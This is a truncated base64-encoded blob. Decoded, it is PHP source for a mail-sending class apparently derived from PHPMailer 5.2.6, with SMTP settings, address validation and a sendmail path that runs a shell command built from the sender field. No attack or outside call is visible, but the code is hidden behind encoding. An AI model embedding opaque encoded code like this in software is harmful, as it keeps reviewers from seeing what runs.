MgJFdvcmRXcmFwICAgICAgICAgID0gMDsKICBwdWJsaWMgJE1haWxlciAgICAgICAgICAgID0gJ21haWwnOwogIHB1YmxpYyAkU2VuZG1haWwgICAgICAgICAgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICBwdWJsaWMgJFVzZVNlbmRtYWlsT3B0aW9ucwk9IHRydWU7CiAgcHVibGljICRQbHVnaW5EaXIgICAgICAgICA9ICcnOwogIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyAgPSAnJzsKICBwdWJsaWMgJEhvc3RuYW1lICAgICAgICAgID0gJyc7CiAgcHVibGljICRNZXNzYWdlSUQgICAgICAgICA9ICcnOwogIHB1YmxpYyAkTWVzc2FnZURhdGUgICAgICAgPSAnJzsKCiAgcHVibGljICRIb3N0ICAgICAgICAgID0gJ2xvY2FsaG9zdCc7CiAgcHVibGljICRQb3J0ICAgICAgICAgID0gMjU7CiAgcHVibGljICRIZWxvICAgICAgICAgID0gJyc7CiAgcHVibGljICRTTVRQU2VjdXJlICAgID0gJyc7CiAgcHVibGljICRTTVRQQXV0aCAgICAgID0gZmFsc2U7CiAgcHVibGljICRVc2VybmFtZSAgICAgID0gJyc7CiAgcHVibGljICRQYXNzd29yZCAgICAgID0gJyc7CiAgcHVibGljICRBdXRoVHlwZSAgICAgID0gJyc7CiAgcHVibGljICRSZWFsbSAgICAgICAgID0gJyc7CiAgcHVibGljICRXb3Jrc3RhdGlvbiAgID0gJyc7CiAgcHVibGljICRUaW1lb3V0ICAgICAgID0gMTA7CiAgcHVibGljICRTTVRQRGVidWcgICAgID0gZmFsc2U7CiAgcHVibGljICREZWJ1Z291dHB1dCAgICAgPSAiZWNobyI7CiAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CiAgcHVibGljICRTaW5nbGVUbyAgICAgID0gZmFsc2U7CiAgcHVibGljICRkb192ZXJwICAgICAgPSBmYWxzZTsKICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwogIHB1YmxpYyAkQWxsb3dFbXB0eSA9IGZhbHNlOwogIHB1YmxpYyAkTEUgICAgICAgICAgICAgID0gIlxuIjsKICBwdWJsaWMgJERLSU1fc2VsZWN0b3IgICA9ICcnOwogIHB1YmxpYyAkREtJTV9pZGVudGl0eSAgID0gJyc7CiAgcHVibGljICRES0lNX3Bhc3NwaHJhc2UgICA9ICcnOwogIHB1YmxpYyAkREtJTV9kb21haW4gICAgID0gJyc7CiAgcHVibGljICRES0lNX3ByaXZhdGUgICAgPSAnJzsKICBwdWJsaWMgJGFjdGlvbl9mdW5jdGlvbiA9ICcnOyAvLydjYWxsYmFja0FjdGlvbic7CiAgcHVibGljICRWZXJzaW9uICAgICAgICAgPSAnNS4yLjYnOwogIHB1YmxpYyAkWE1haWxlciAgICAgICAgID0gJyc7CgogIHByb3RlY3RlZCAgICRzbXRwICAgICAgICAgICA9IG51bGw7CiAgcHJvdGVjdGVkICAgJHRvICAgICAgICAgICAgID0gYXJyYXkoKTsKICBwcm90ZWN0ZWQgICAkY2MgICAgICAgICAgICAgPSBhcnJheSgpOwogIHByb3RlY3RlZCAgICRiY2MgICAgICAgICAgICA9IGFycmF5KCk7CiAgcHJvdGVjdGVkICAgJFJlcGx5VG8gICAgICAgID0gYXJyYXkoKTsKICBwcm90ZWN0ZWQgICAkYWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogIHByb3RlY3RlZCAgICRhdHRhY2htZW50ICAgICA9IGFycmF5KCk7CiAgcHJvdGVjdGVkICAgJEN1c3RvbUhlYWRlciAgID0gYXJyYXkoKTsKICBwcm90ZWN0ZWQgICAkbWVzc2FnZV90eXBlICAgPSAnJzsKICBwcm90ZWN0ZWQgICAkYm91bmRhcnkgICAgICAgPSBhcnJheSgpOwogIHByb3RlY3RlZCAgICRsYW5ndWFnZSAgICAgICA9IGFycmF5KCk7CiAgcHJvdGVjdGVkICAgJGVycm9yX2NvdW50ICAgID0gMDsKICBwcm90ZWN0ZWQgICAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKICBwcm90ZWN0ZWQgICAkc2lnbl9rZXlfZmlsZSAgPSAnJzsKICBwcm90ZWN0ZWQgICAkc2lnbl9rZXlfcGFzcyAgPSAnJzsKICBwcm90ZWN0ZWQgICAkZXhjZXB0aW9ucyAgICAgPSBmYWxzZTsKCiAgY29uc3QgU1RPUF9NRVNTQUdFICA9IDA7IC8vIG1lc3NhZ2Ugb25seSwgY29udGludWUgcHJvY2Vzc2luZwogIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOyAvLyBtZXNzYWdlPywgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcKICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsgLy8gbWVzc2FnZSwgcGx1cyBmdWxsIHN0b3AsIGNyaXRpY2FsIGVycm9yIHJlYWNoZWQKICBjb25zdCBDUkxGID0gIlxyXG4iOyAgICAgLy8gU01UUCBSRkMgc3BlY2lmaWVkIEVPTAoKICBwcml2YXRlIGZ1bmN0aW9uIG1haWxfcGFzc3RocnUoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpIHsKICAgIGlmICggaW5pX2dldCgnc2FmZV9tb2RlJykgfHwgISgkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zKSApIHsKICAgICAgICAkcnQgPSBAbWFpbCgkdG8sICR0aGlzLT5FbmNvZGVIZWFkZXIoJHRoaXMtPlNlY3VyZUhlYWRlcigkc3ViamVjdCkpLCAkYm9keSwgJGhlYWRlcik7CiAgICB9IGVsc2UgewogICAgICAgICRydCA9IEBtYWlsKCR0bywgJHRoaXMtPkVuY29kZUhlYWRlcigkdGhpcy0+U2VjdXJlSGVhZGVyKCRzdWJqZWN0KSksICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKTsKICAgIH0KICAgIHJldHVybiAkcnQ7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gZWRlYnVnKCRzdHIpIHsKICAgIHN3aXRjaCAoJHRoaXMtPkRlYnVnb3V0cHV0KSB7CiAgICAgIGNhc2UgJ2Vycm9yX2xvZyc6CiAgICAgICAgZXJyb3JfbG9nKCRzdHIpOwogICAgICAgIGJyZWFrOwogICAgICBjYXNlICdodG1sJzoKICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcgZGlzcGxheSB0aGF0J3MgSFRNTC1zYWZlCiAgICAgICAgZWNobyBodG1sZW50aXRpZXMocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJHN0ciksIEVOVF9RVU9URVMsICR0aGlzLT5DaGFyU2V0KS4iPGJyPlxuIjsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnZWNobyc6CiAgICAgIGRlZmF1bHQ6CiAgICAgICAgLy9KdXN0IGVjaG9lcyBleGFjdGx5IHdoYXQgd2FzIHJlY2VpdmVkCiAgICAgICAgZWNobyAkc3RyOwogICAgfQogIH0KCiAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gZmFsc2UpIHsKICAgICR0aGlzLT5leGNlcHRpb25zID0gKCRleGNlcHRpb25zID09IHRydWUpOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKSB7CiAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdzbXRwJykgeyAvL0Nsb3NlIGFueSBvcGVuIFNNVFAgY29ubmVjdGlvbiBuaWNlbHkKICAgICAgICAgICR0aGlzLT5TbXRwQ2xvc2UoKTsKICAgICAgfQogIH0KCiAgcHVibGljIGZ1bmN0aW9uIElzSFRNTCgkaXNodG1sID0gdHJ1ZSkgewogICAgaWYgKCRpc2h0bWwpIHsKICAgICAgJHRoaXMtPkNvbnRlbnRUeXBlID0gJ3RleHQvaHRtbCc7CiAgICB9IGVsc2UgewogICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICB9CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gSXNTTVRQKCkgewogICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBJc01haWwoKSB7CiAgICAkdGhpcy0+TWFpbGVyID0gJ21haWwnOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIElzU2VuZG1haWwoKSB7CiAgICBpZiAoIXN0cmlzdHIoaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpLCAnc2VuZG1haWwnKSkgewogICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vc2VuZG1haWwnOwogICAgfQogICAgJHRoaXMtPk1haWxlciA9ICdzZW5kbWFpbCc7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gSXNRbWFpbCgpIHsKICAgIGlmIChzdHJpc3RyKGluaV9nZXQoJ3NlbmRtYWlsX3BhdGgnKSwgJ3FtYWlsJykpIHsKICAgICAgJHRoaXMtPlNlbmRtYWlsID0gJy92YXIvcW1haWwvYmluL3NlbmRtYWlsJzsKICAgIH0KICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEFkZEFkZHJlc3MoJGFkZHJlc3MsICRuYW1lID0gJycpIHsKICAgIHJldHVybiAkdGhpcy0+QWRkQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpIHsKICAgIHJldHVybiAkdGhpcy0+QWRkQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkQkNDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKSB7CiAgICByZXR1cm4gJHRoaXMtPkFkZEFuQWRkcmVzcygnYmNjJywgJGFkZHJlc3MsICRuYW1lKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKSB7CiAgICByZXR1cm4gJHRoaXMtPkFkZEFuQWRkcmVzcygnUmVwbHktVG8nLCAkYWRkcmVzcywgJG5hbWUpOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIEFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpIHsKICAgIGlmICghcHJlZ19tYXRjaCgnL14odG98Y2N8YmNjfFJlcGx5LVRvKSQvJywgJGtpbmQpKSB7CiAgICAgICR0aGlzLT5TZXRFcnJvcigkdGhpcy0+TGFuZygnSW52YWxpZCByZWNpcGllbnQgYXJyYXknKS4nOiAnLiRraW5kKTsKICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbignSW52YWxpZCByZWNpcGllbnQgYXJyYXk6ICcgLiAka2luZCk7CiAgICAgIH0KICAgICAgaWYgKCR0aGlzLT5TTVRQRGVidWcpIHsKICAgICAgICAkdGhpcy0+ZWRlYnVnKCR0aGlzLT5MYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBhcnJheScpLic6ICcuJGtpbmQpOwogICAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgIGlmICghJHRoaXMtPlZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgJHRoaXMtPlNldEVycm9yKCR0aGlzLT5MYW5nKCdpbnZhbGlkX2FkZHJlc3MnKS4nOiAnLiAkYWRkcmVzcyk7CiAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2ludmFsaWRfYWRkcmVzcycpLic6ICcuJGFkZHJlc3MpOwogICAgICB9CiAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygkdGhpcy0+TGFuZygnaW52YWxpZF9hZGRyZXNzJykuJzogJy4kYWRkcmVzcyk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgaWYgKCFpc3NldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldKSkgewogICAgICAgIGFycmF5X3B1c2goJHRoaXMtPiRraW5kLCBhcnJheSgkYWRkcmVzcywgJG5hbWUpKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAkdGhpcy0+UmVwbHlUb1tzdHJ0b2xvd2VyKCRhZGRyZXNzKV0gPSBhcnJheSgkYWRkcmVzcywgJG5hbWUpOwogICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICB9CiAgcmV0dXJuIGZhbHNlOwp9CgogIHB1YmxpYyBmdW5jdGlvbiBTZXRGcm9tKCRhZGRyZXNzLCAkbmFtZSA9ICcnLCAkYXV0byA9IHRydWUpIHsKICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgIGlmICghJHRoaXMtPlZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgJHRoaXMtPlNldEVycm9yKCR0aGlzLT5MYW5nKCdpbnZhbGlkX2FkZHJlc3MnKS4nOiAnLiAkYWRkcmVzcyk7CiAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2ludmFsaWRfYWRkcmVzcycpLic6ICcuJGFkZHJlc3MpOwogICAgICB9CiAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygkdGhpcy0+TGFuZygnaW52YWxpZF9hZGRyZXNzJykuJzogJy4kYWRkcmVzcyk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgJHRoaXMtPkZyb20gPSAkYWRkcmVzczsKICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgaWYgKCRhdXRvKSB7CiAgICAgIGlmIChlbXB0eSgkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgfQogICAgfQogICAgcmV0dXJuIHRydWU7CiAgfQoKICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIFZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykgewogICAgICBpZiAoZGVmaW5lZCgnUENSRV9WRVJTSU9OJykpIHsgLy9DaGVjayB0aGlzIGluc3RlYWQgb2YgZXh0ZW5zaW9uX2xvYWRlZCBzbyBpdCB3b3JrcyB3aGVuIHRoYXQgZnVuY3Rpb24gaXMgZGlzYWJsZWQKICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUENSRV9WRVJTSU9OLCAnOC4wJykgPj0gMCkgewogICAgICAgICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvXig/ISg/Pig/MSkiPyg/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXsyNTUsfSkoPyEoPz4oPzEpIj8oPz5cXFxbIC1+XXxbXiJdKSI/KD8xKSl7NjUsfUApKCg/Pig/Pig/PigoPz4oPz4oPz5ceDBEXHgwQSk/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk/W1x0IF0rKT8pKFwoKD8+KD8yKSg/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtXCcqLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHg3Rl18KD8zKSkpKig/MilcKSkpKyg/MikpfCg/MikpPykoWyEjLVwnKitcLy05PT9eLX4tXSt8Iig/Pig/MikoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHg3Rl0pKSooPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg/PihbYS16MC05XSg/PlthLXowLTktXSpbYS16MC05XSk/KSg/Pig/MSlcLig/ISg/MSlbYS16MC05LV17NjQsfSkoPzEpKD81KSl7MCwxMjZ9fFxbKD86KD8+SVB2NjooPz4oW2EtZjAtOV17MSw0fSkoPz46KD82KSl7N318KD8hKD86LipbYS1mMC05XVs6XF1dKXs4LH0pKCg/NikoPz46KD82KSl7MCw2fSk/OjooPzcpPykpfCg/Pig/PklQdjY6KD8+KD82KSg/PjooPzYpKXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn18WzEtOV0/WzAtOV0pKD8+XC4oPzkpKXszfSkpXF0pKD8xKSQvaXNEJywgJGFkZHJlc3MpOwogICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAvL0ZhbGwgYmFjayB0byBhbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKD8hKD8+Ij8oPz5cXFxbIC1+XXxbXiJdKSI/KXsyNTUsfSkoPyEoPz4iPyg/PlxcXFsgLX5dfFteIl0pIj8pezY1LH1AKSg/PlshIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSg/PlwuKD8+WyEjLVwnKitcLy05PT9eLX4tXSt8Iig/Pig/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceEZGXSkpKiIpKSpAKD8+KD8hW2EtejAtOS1dezY0LH0pKD8+W2EtejAtOV0oPz5bYS16MC05LV0qW2EtejAtOV0pPykoPz5cLig/IVthLXowLTktXXs2NCx9KSg/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig/Pig/PlthLWYwLTldezEsNH0pKD8+OlthLWYwLTldezEsNH0pezd9fCg/ISg/Oi4qW2EtZjAtOV1bOlxdXSl7OCx9KSg/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk/OjooPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPykpfCg/Pig/PklQdjY6KD8+W2EtZjAtOV17MSw0fSg/PjpbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPzo6KD8+KD86W2EtZjAtOV17MSw0fSg/PjpbYS1mMC05XXsxLDR9KXswLDR9KTopPykpPyg/PjI1WzAtNV18MlswLTRdWzAtOV18MVswLTldezJ9fFsxLTldP1swLTldKSg/PlwuKD8+MjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn18WzEtOV0/WzAtOV0pKXszfSkpXF0pJC9pc0QnLCAkYWRkcmVzcyk7CiAgICAgICAgICB9CiAgICAgIH0gZWxzZSB7CiAgICAgICAgICByZXR1cm4gKHN0cmxlbigkYWRkcmVzcykgPj0gMyBhbmQgc3RycG9zKCRhZGRyZXNzLCAnQCcpID49IDEgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgIH0KICB9CgogIHB1YmxpYyBmdW5jdGlvbiBTZW5kKCkgewogICAgdHJ5IHsKICAgICAgaWYoISR0aGlzLT5QcmVTZW5kKCkpIHJldHVybiBmYWxzZTsKICAgICAgcmV0dXJuICR0aGlzLT5Qb3N0U2VuZCgpOwogICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRlKSB7CiAgICAgICR0aGlzLT5tYWlsSGVhZGVyID0gJyc7CiAgICAgICR0aGlzLT5TZXRFcnJvcigkZS0+Z2V0TWVzc2FnZSgpKTsKICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgdGhyb3cgJGU7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFByZVNlbmQoKSB7CiAgICB0cnkgewogICAgICAkdGhpcy0+bWFpbEhlYWRlciA9ICIiOwogICAgICBpZiAoKGNvdW50KCR0aGlzLT50bykgKyBjb3VudCgkdGhpcy0+Y2MpICsgY291bnQoJHRoaXMtPmJjYykpIDwgMSkgewogICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ3Byb3ZpZGVfYWRkcmVzcycpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgfQoKICAgICAgLy8gU2V0IHdoZXRoZXIgdGhlIG1lc3NhZ2UgaXMgbXVsdGlwYXJ0L2FsdGVybmF0aXZlCiAgICAgIGlmKCFlbXB0eSgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgICAgfQoKICAgICAgJHRoaXMtPmVycm9yX2NvdW50ID0gMDsgLy8gcmVzZXQgZXJyb3JzCiAgICAgICR0aGlzLT5TZXRNZXNzYWdlVHlwZSgpOwogICAgICAvL1JlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+TGFuZygnZW1wdHlfbWVzc2FnZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgfQoKICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSAkdGhpcy0+Q3JlYXRlSGVhZGVyKCk7CiAgICAgICR0aGlzLT5NSU1FQm9keSA9ICR0aGlzLT5DcmVhdGVCb2R5KCk7CgogICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggQ3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgIGlmIChjb3VudCgkdGhpcy0+dG8pID4gMCkgewogICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPkFkZHJBcHBlbmQoIlRvIiwgJHRoaXMtPnRvKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPkhlYWRlckxpbmUoIlRvIiwgInVuZGlzY2xvc2VkLXJlY2lwaWVudHM6OyIpOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+bWFpbEhlYWRlciAuPSAkdGhpcy0+SGVhZGVyTGluZSgnU3ViamVjdCcsICR0aGlzLT5FbmNvZGVIZWFkZXIoJHRoaXMtPlNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpKTsKICAgICAgfQoKICAgICAgLy8gZGlnaXRhbGx5IHNpZ24gd2l0aCBES0lNIGlmIGVuYWJsZWQKICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+REtJTV9kb21haW4pICYmICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlKSAmJiAhZW1wdHkoJHRoaXMtPkRLSU1fc2VsZWN0b3IpICYmICFlbXB0eSgkdGhpcy0+REtJTV9kb21haW4pICYmIGZpbGVfZXhpc3RzKCR0aGlzLT5ES0lNX3ByaXZhdGUpKSB7CiAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKCR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsICR0aGlzLT5FbmNvZGVIZWFkZXIoJHRoaXMtPlNlY3VyZUhlYWRlcigkdGhpcy0+U3ViamVjdCkpLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gc3RyX3JlcGxhY2UoIlxyXG4iLCAiXG4iLCAkaGVhZGVyX2RraW0pIC4gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgIH0KCiAgICAgIHJldHVybiB0cnVlOwoKICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZSkgewogICAgICAkdGhpcy0+U2V0RXJyb3IoJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgIHRocm93ICRlOwogICAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICB9CgogIHB1YmxpYyBmdW5jdGlvbiBQb3N0U2VuZCgpIHsKICAgIHRyeSB7CiAgICAgIC8vIENob29zZSB0aGUgbWFpbGVyIGFuZCBzZW5kIHRocm91Z2ggaXQKICAgICAgc3dpdGNoKCR0aGlzLT5NYWlsZXIpIHsKICAgICAgICBjYXNlICdzZW5kbWFpbCc6CiAgICAgICAgICByZXR1cm4gJHRoaXMtPlNlbmRtYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICBjYXNlICdzbXRwJzoKICAgICAgICAgIHJldHVybiAkdGhpcy0+U210cFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgY2FzZSAnbWFpbCc6CiAgICAgICAgICByZXR1cm4gJHRoaXMtPk1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICByZXR1cm4gJHRoaXMtPk1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICB9CiAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGUpIHsKICAgICAgJHRoaXMtPlNldEVycm9yKCRlLT5nZXRNZXNzYWdlKCkpOwogICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICB0aHJvdyAkZTsKICAgICAgfQogICAgICBpZiAoJHRoaXMtPlNNVFBEZWJ1ZykgewogICAgICAgICR0aGlzLT5lZGVidWcoJGUtPmdldE1lc3NhZ2UoKS4iXG4iKTsKICAgICAgfQogICAgfQogICAgcmV0dXJuIGZhbHNlOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIFNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkgewogICAgaWYgKCR0aGlzLT5TZW5kZXIgIT0gJycpIHsKICAgICAgJHNlbmRtYWlsID0gc3ByaW50ZigiJXMgLW9pIC1mJXMgLXQiLCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCBlc2NhcGVzaGVsbGFyZygkdGhpcy0+U2VuZGVyKSk7CiAgICB9IGVsc2UgewogICAgICAkc2VuZG1haWwgPSBzcHJpbnRmKCIlcyAtb2kgLXQiLCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpKTsKICAgIH0KICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gPT09IHRydWUpIHsKICAgICAgZm9yZWFjaCAoJHRoaXMtPlNpbmdsZVRvQXJyYXkgYXMgJHZhbCkgewogICAgICAgIGlmKCFAJG1haWwgPSBwb3Blbigkc2VuZG1haWwsICd3JykpIHsKICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIGZwdXRzKCRtYWlsLCAiVG86I